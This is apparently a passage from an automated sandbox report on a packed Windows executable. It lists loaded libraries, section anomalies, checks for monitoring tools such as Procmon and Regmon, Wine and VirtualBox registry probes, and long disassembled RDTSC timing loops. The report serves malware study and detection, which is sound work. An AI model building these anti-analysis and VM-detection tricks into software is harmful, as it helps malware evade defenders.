Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 2930688 > 1048576

Source: file.exe

Static PE information: Raw size of rvqvnuko is bigger than: 0x100000 < 0x2a0000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.c70000.0.unpack :EW;.rsrc :W;.idata :W;rvqvnuko:EW;ypwashrq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;rvqvnuko:EW;ypwashrq:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x2d0ff5 should be: 0x2cdf19

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: rvqvnuko
Source: file.exe	Static PE information: section name: ypwashrq
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC268 push 68006FC2h; retn 006Fh	0_3_006FC26D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC268 push 68006FC2h; retn 006Fh	0_3_006FC26D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC268 push 68006FC2h; retn 006Fh	0_3_006FC26D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00700078 push ds; retf	0_3_0070007A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00700078 push ds; retf	0_3_0070007A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00700078 push ds; retf	0_3_0070007A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC254 push eax; retn 006Fh	0_3_006FC255
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC254 push eax; retn 006Fh	0_3_006FC255
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC254 push eax; retn 006Fh	0_3_006FC255
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC250 push eax; retn 006Fh	0_3_006FC251
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC250 push eax; retn 006Fh	0_3_006FC251
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC250 push eax; retn 006Fh	0_3_006FC251
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007010D0 pushad ; ret	0_3_007010D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007010D0 pushad ; ret	0_3_007010D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007010D0 pushad ; ret	0_3_007010D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006F7EAF push ds; retf	0_3_006F7EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006F7EAF push ds; retf	0_3_006F7EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006F7EAF push ds; retf	0_3_006F7EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0077C254 push esp; retn 0077h	0_3_0077C255
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0077C254 push esp; retn 0077h	0_3_0077C255
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0077C254 push esp; retn 0077h	0_3_0077C255
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0077C258 push esp; retn 0077h	0_3_0077C259
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0077C258 push esp; retn 0077h	0_3_0077C259
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0077C258 push esp; retn 0077h	0_3_0077C259
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC268 push 68006FC2h; retn 006Fh	0_3_006FC26D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC268 push 68006FC2h; retn 006Fh	0_3_006FC26D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC268 push 68006FC2h; retn 006Fh	0_3_006FC26D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00700078 push ds; retf	0_3_0070007A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00700078 push ds; retf	0_3_0070007A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00700078 push ds; retf	0_3_0070007A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FC254 push eax; retn 006Fh	0_3_006FC255

Source: file.exe

Static PE information: section name: entropy: 7.96737253313202

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF657 second address: CCF66D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF66D second address: CCEE7D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEF0CF037C6h 0x00000008 jmp 00007FEF0CF037C0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 jmp 00007FEF0CF037BDh 0x00000017 push dword ptr [ebp+122D0369h] 0x0000001d sub dword ptr [ebp+122D2CDEh], esi 0x00000023 call dword ptr [ebp+122D2B52h] 0x00000029 pushad 0x0000002a jl 00007FEF0CF037C8h 0x00000030 jmp 00007FEF0CF037C2h 0x00000035 xor eax, eax 0x00000037 cmc 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c cmc 0x0000003d pushad 0x0000003e mov ecx, dword ptr [ebp+122D2D98h] 0x00000044 popad 0x00000045 mov dword ptr [ebp+122D3068h], eax 0x0000004b jp 00007FEF0CF037B7h 0x00000051 mov esi, 0000003Ch 0x00000056 jmp 00007FEF0CF037C2h 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f stc 0x00000060 lodsw 0x00000062 sub dword ptr [ebp+122D1CACh], ecx 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c jmp 00007FEF0CF037C3h 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 mov dword ptr [ebp+122D1C06h], eax 0x0000007b sub dword ptr [ebp+122D1CACh], edi 0x00000081 nop 0x00000082 jno 00007FEF0CF037BEh 0x00000088 push eax 0x00000089 pushad 0x0000008a push ebx 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEE7D second address: CCEE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEE86 second address: CCEE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40C38 second address: E40C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0C869B83h 0x00000009 popad 0x0000000a jmp 00007FEF0C869B7Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FC3D second address: E3FC47 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEF0CF037BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40048 second address: E4004E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4004E second address: E4006D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0CF037BEh 0x00000009 popad 0x0000000a push ecx 0x0000000b jbe 00007FEF0CF037B6h 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4006D second address: E40071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40390 second address: E4039E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FEF0CF037BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E404D2 second address: E4050C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FEF0C869B85h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FEF0C869B7Dh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEF0C869B7Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42811 second address: E42840 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 or dword ptr [ebp+122D3272h], esi 0x0000000e push 00000000h 0x00000010 add dword ptr [ebp+122D1CBCh], ecx 0x00000016 call 00007FEF0CF037B9h 0x0000001b jmp 00007FEF0CF037BAh 0x00000020 push eax 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42840 second address: E42855 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FEF0C869B78h 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42855 second address: E4285B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4285B second address: E4285F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4285F second address: E42875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jnc 00007FEF0CF037B6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42875 second address: E4287A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4287A second address: E428F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007FEF0CF037C3h 0x00000012 pop eax 0x00000013 and edx, dword ptr [ebp+122D2FE0h] 0x00000019 push 00000003h 0x0000001b mov dword ptr [ebp+122D2CCAh], ebx 0x00000021 push 00000000h 0x00000023 xor esi, dword ptr [ebp+122D2EFCh] 0x00000029 add edx, dword ptr [ebp+122D2FB8h] 0x0000002f push 00000003h 0x00000031 mov esi, dword ptr [ebp+122D2E04h] 0x00000037 push B34CF02Ch 0x0000003c jnl 00007FEF0CF037C3h 0x00000042 add dword ptr [esp], 0CB30FD4h 0x00000049 movzx edx, dx 0x0000004c lea ebx, dword ptr [ebp+12447702h] 0x00000052 push ecx 0x00000053 sbb si, 6246h 0x00000058 pop edx 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d push edi 0x0000005e pop edi 0x0000005f pushad 0x00000060 popad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E428F7 second address: E42902 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FEF0C869B76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42993 second address: E42997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42997 second address: E42A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FEF0C869B84h 0x0000000d nop 0x0000000e xor dword ptr [ebp+122D1D09h], edi 0x00000014 push 00000000h 0x00000016 jp 00007FEF0C869B90h 0x0000001c call 00007FEF0C869B83h 0x00000021 mov dword ptr [ebp+122D2BA7h], eax 0x00000027 pop edx 0x00000028 call 00007FEF0C869B79h 0x0000002d push ebx 0x0000002e push esi 0x0000002f jne 00007FEF0C869B76h 0x00000035 pop esi 0x00000036 pop ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FEF0C869B88h 0x0000003e pop edx 0x0000003f mov eax, dword ptr [esp+04h] 0x00000043 pushad 0x00000044 push ebx 0x00000045 pushad 0x00000046 popad 0x00000047 pop ebx 0x00000048 jnc 00007FEF0C869B78h 0x0000004e popad 0x0000004f mov eax, dword ptr [eax] 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 jng 00007FEF0C869B76h 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42A29 second address: E42A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42A2E second address: E42A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42A34 second address: E42A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42A38 second address: E42A5A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEF0C869B84h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42A5A second address: E42ADD instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEF0CF037B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d call 00007FEF0CF037BBh 0x00000012 mov dword ptr [ebp+122D1BFFh], esi 0x00000018 pop edx 0x00000019 push 00000003h 0x0000001b pushad 0x0000001c jns 00007FEF0CF037B9h 0x00000022 movsx ebx, si 0x00000025 mov ecx, edi 0x00000027 popad 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007FEF0CF037B8h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 jne 00007FEF0CF037BCh 0x0000004a clc 0x0000004b push 00000003h 0x0000004d sub edx, dword ptr [ebp+122D2E9Ch] 0x00000053 push A6D924BCh 0x00000058 push eax 0x00000059 push edx 0x0000005a push edx 0x0000005b jmp 00007FEF0CF037C3h 0x00000060 pop edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42ADD second address: E42B06 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 1926DB44h 0x0000000f jne 00007FEF0C869B76h 0x00000015 lea ebx, dword ptr [ebp+1244770Bh] 0x0000001b mov dword ptr [ebp+122D1CB8h], esi 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42B06 second address: E42B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42B0B second address: E42B1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007FEF0C869B76h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42B8B second address: E42BCF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FEF0CF037C0h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jnp 00007FEF0CF037BCh 0x00000019 popad 0x0000001a nop 0x0000001b mov dword ptr [ebp+122D1EB3h], ebx 0x00000021 push 00000000h 0x00000023 mov edx, 76656402h 0x00000028 push B9433DB6h 0x0000002d pushad 0x0000002e pushad 0x0000002f push ecx 0x00000030 pop ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42BCF second address: E42C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEF0C869B88h 0x0000000a popad 0x0000000b add dword ptr [esp], 46BCC2CAh 0x00000012 add dword ptr [ebp+122D2CD8h], esi 0x00000018 push 00000003h 0x0000001a call 00007FEF0C869B7Fh 0x0000001f mov ecx, dword ptr [ebp+122D2DBCh] 0x00000025 pop ecx 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+122D2CDEh], edi 0x0000002e mov dword ptr [ebp+122D1C17h], edx 0x00000034 push 00000003h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007FEF0C869B78h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 movzx edx, dx 0x00000053 push B1335001h 0x00000058 jmp 00007FEF0C869B85h 0x0000005d xor dword ptr [esp], 71335001h 0x00000064 ja 00007FEF0C869B89h 0x0000006a lea ebx, dword ptr [ebp+12447716h] 0x00000070 push eax 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42C8E second address: E42C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42C92 second address: E42CA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEF0C869B7Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61EF0 second address: E61EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61EF4 second address: E61F02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FEF0C869B76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61F02 second address: E61F0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6208A second address: E620E6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEF0C869B76h 0x00000008 jo 00007FEF0C869B76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FEF0C869B87h 0x00000015 jnp 00007FEF0C869B8Ch 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FEF0C869B82h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E620E6 second address: E620EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E620EA second address: E620F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E620F0 second address: E6210C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEF0CF037C6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6227D second address: E62284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62678 second address: E62680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62680 second address: E626B6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEF0C869B76h 0x00000008 jmp 00007FEF0C869B88h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FEF0C869B81h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E626B6 second address: E626BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E626BC second address: E626DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 jmp 00007FEF0C869B7Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEF0C869B7Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62AED second address: E62AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62AF2 second address: E62B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEF0C869B84h 0x00000009 jg 00007FEF0C869B76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62C51 second address: E62C61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FEF0CF037B6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
